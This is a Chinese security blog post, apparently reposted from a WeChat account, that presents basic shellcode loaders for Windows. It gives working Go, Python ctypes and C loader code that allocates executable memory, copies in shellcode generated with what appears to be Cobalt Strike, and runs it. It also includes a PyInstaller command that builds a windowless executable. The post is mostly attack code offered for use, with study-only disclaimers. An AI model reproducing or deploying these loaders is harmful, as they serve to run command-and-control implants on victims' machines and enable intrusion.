关注本公众号，长期推送漏洞文章
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用！！！
/ Shellcode加载器 /
GoShellcode
使用cs生成shellcode
替换
去空格
def remove_whitespace_and_newlines(text):text_without_spaces = text.replace(" ", "")text_without_newlines = text_without_spaces.replace("n", "").replace("r", "")return text_without_newlinesinput_text = """ shellcode """output_text = remove_whitespace_and_newlines(input_text)print(output_text)
Go语言
package mainimport ("io/ioutil""os""syscall""unsafe")const (MEM_COMMIT = 0x1000MEM_RESERVE = 0x2000PAGE_EXECUTE_READWRITE = 0x40)var (kernel32 = syscall.MustLoadDLL("kernel32.dll")ntdll = syscall.MustLoadDLL("ntdll.dll")VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")shellcode_buf = []byte{0xfc, 0x48, ----shellcode----, 0xd5,})func checkErr(err error) {if err != nil {if err.Error() != "The operation completed successfully." {println(err.Error())os.Exit(1)}}}func main() {shellcode := shellcode_bufif len(os.Args) > 1 {shellcodeFileData, err := ioutil.ReadFile(os.Args[1])checkErr(err)shellcode = shellcodeFileData}addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)if addr == 0 {checkErr(err)}_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))checkErr(err)syscall.Syscall(addr, 0, 0, 0, 0)}
测试上线
PythonShellcode
#!/usr/bin/pythonimport ctypesshellcode = bytearray("xfcxe8")ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)))ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
进行编译
python pyinstaller.py -F -w pyshellcode.pyC/C++Shellcode
unsigned char buf[] ="shellcode";main(){( (void(*)(void))&buf)();}
原文始发于微信公众号（知攻善防实验室）：多种基础Shellcode加载器
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论